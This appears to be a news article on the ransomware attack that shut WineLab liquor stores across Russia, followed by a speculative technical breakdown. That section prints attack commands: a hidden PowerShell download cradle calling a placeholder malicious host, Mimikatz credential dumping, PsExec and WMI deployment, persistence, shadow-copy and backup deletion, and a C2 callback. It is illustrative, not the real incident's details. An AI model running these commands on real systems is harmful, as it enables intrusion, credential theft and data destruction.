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Russia’s WineLab Shuts Down Nationwide After Massive Ransomware Attack
Novabev Group, one of Russia’s largest alcohol producers, confirms cyberattack crippled point-of-sale systems and online services; no group has claimed responsibility.
Vodka on Hold: Ransomware Attack Shuts Down WineLab Liquor Chain Across Russia
By an International Cybersecurity Correspondent
In an unexpected disruption to one of Russia’s most prominent consumer networks, over 2,000 WineLab liquor stores across the country have remained closed for three consecutive days following a ransomware attack on their parent company, Novabev Group, a leading producer and distributor of spirits.
From Moscow to Vladivostok, signs on WineLab storefronts simply state: “Closed due to technical issues.” But the issue is far more serious than a system upgrade or hardware glitch. According to Novabev, the shutdown is the result of a targeted cyberattack that crippled key infrastructure, including point-of-sale (POS) systems and online ordering platforms.
“We experienced a significant disruption due to a ransomware attack,” Novabev confirmed in a brief statement. “A ransom was demanded. We refused to engage in negotiations.”
Economic Fallout: Disrupted Sales, Lost Wages, Blocked Distribution
The shutdown has paralyzed alcohol sales in one of the world’s largest markets for spirits. Novabev is the company behind well-known Russian vodka brands such as Beluga and Belenkaya, both widely consumed domestically and exported internationally.
The attack has affected:
- Thousands of retail employees, many of whom are temporarily unable to work
- Suppliers and distributors, facing canceled deliveries and blocked payments
- Consumers, reporting empty shelves and lack of access to regular spirits purchases
“I stopped at three WineLab stores this week,” said a resident of Saint Petersburg. “All closed. No explanation, just a printed sign. It’s more than just an inconvenience—it’s surreal.”
Unknown Perpetrators, Known Tactics
As of now, no ransomware group has claimed responsibility for the attack. The method of infiltration and the malware strain remain undisclosed, and Novabev has not publicly attributed the incident to any particular actor.
Cybersecurity analysts suggest that the attack likely involved lateral movement through the company’s internal IT systems, targeting the POS and backend infrastructure. The fact that no files or ransom notes have been released publicly suggests the perpetrators may be seeking private negotiations or are part of a new, less visible cybercriminal group.
“This is a high-impact, low-profile attack,” said Dmitri Sokolov, threat intelligence analyst at Moscow-based firm Group-IB. “The absence of public claims may indicate either a nation-state operation or a new financially motivated group testing the waters.”
Cyber Threats in Retail: A Growing Trend
The WineLab incident is the latest in a series of ransomware attacks affecting the retail and supply chain sectors. From grocery chains in Europe to logistics platforms in Asia, attackers are increasingly focusing on consumer-facing industries where even a few hours of downtime translates into millions in losses and high-pressure incentives to pay ransoms.
“When a retailer’s checkout systems go down, operations halt instantly,” said El Mostafa Ouchen, a cybersecurity consultant and author of Mastering Kali Purple. “The risk extends beyond economics—it shakes consumer trust and destabilizes supply chains.”
A Critical Wake-Up Call for Russia’s Consumer Sector
Novabev’s refusal to negotiate is seen as a firm stance against extortion, but recovery may take time. Industry insiders estimate that restoring WineLab’s operations could take up to a week, depending on the depth of the intrusion and the state of backup systems.
The incident also exposes a growing vulnerability in Russian and global retail sectors: digitally dependent yet underprotected infrastructures, often lacking endpoint detection and advanced incident response plans.
“Every company with a point-of-sale system is now a target,” added Sokolov. “It’s no longer about if—it’s about when.”
How the Attack Likely Worked: Technical Breakdown with Command-Line Examples
Although Novabev has not disclosed specific technical details, the disruption to WineLab’s point-of-sale systems and online infrastructure suggests a multi-stage ransomware attack targeting critical systems. Based on similar incidents, here’s how such an attack typically unfolds:
1. Initial Access – Phishing or Exploit
Most ransomware campaigns begin with phishing emails or vulnerable public-facing servers. A remote code execution exploit might be used against unpatched web applications or VPN services.
Example (PowerShell payload via phishing):
powershellpowershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://maliciousserver[.]com/dropper.ps1')"
2. Privilege Escalation and Lateral Movement
Once access is gained, attackers move laterally using stolen credentials and administrative tools. They often escalate privileges using tools like Mimikatz.
Example (Mimikatz to dump credentials):
cmdsekurlsa::logonpasswords
Example (Lateral movement using PsExec):
cmdpsexec.exe \\target_machine -u domain\admin -p password cmd.exe
3. System Discovery and Enumeration
Before launching encryption, attackers enumerate the environment to locate critical systems, backups, and POS servers.
Example (Network scan with PowerShell):
powershellGet-NetIPAddress | foreach { Test-Connection -ComputerName $_.IPAddress -Count 1 }
Example (Listing mapped drives and POS systems):
cmdnet use
net view /domain
4. Payload Deployment – Ransomware Encryption
Once the target systems are mapped, ransomware is deployed across endpoints using Group Policy Objects (GPO), Windows Management Instrumentation (WMI), or scheduled tasks.
Example (Deploying ransomware via WMI):
cwmic /node:"target1" process call create "C:\Temp\encryptor.exe"
Example (Create scheduled task to persist malware):
cmdschtasks /create /tn "POSSync" /tr "C:\ProgramData\malware.exe" /sc hourly /ru SYSTEM
5. Impact – Disabling Recovery and Encrypting Data
To maximize impact, attackers delete shadow copies and disable backup processes before encrypting files.
Example (Deleting backups and shadow copies):
cvssadmin delete shadows /all /quiet
bcdedit /set {default} recoveryenabled No
wbadmin delete catalog -quiet
Example (File encryption simulation):
powershell$files = Get-ChildItem -Recurse C:\POSData
foreach ($file in $files) {
$content = Get-Content $file.FullName
$encrypted = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
Set-Content -Path $file.FullName -Value $encrypted
}
6. Ransom Note and C2 Communication
Finally, a ransom note is dropped, and the infected systems may connect to a Command-and-Control (C2) server to report infection and display payment instructions.
Example (Fake ransom note creation):
cmdecho "Your files have been encrypted. Pay 5 BTC to this address." > C:\POS\readme.txt
Example (C2 callback using HTTP POST):
httpPOST /api/status HTTP/1.1
Host: ransomwarec2[.]net
Content-Length: 210
User-Agent: WinPOSClient
Call to Action: Cyber Resilience Required
As demonstrated, the ransomware operation is highly automated and modular, allowing attackers to move quickly once they penetrate an environment. Companies like Novabev—handling retail, distribution, and online commerce—must adopt layered defenses, including:
- Endpoint Detection and Response (EDR)
- Network segmentation
- Strict backup isolation
- Regular phishing simulations
- Real-time PowerShell/script monitoring
“Understanding how ransomware spreads gives organizations the edge to stop it before it causes operational chaos,” said El Mostafa Ouchen, cybersecurity author and consultant.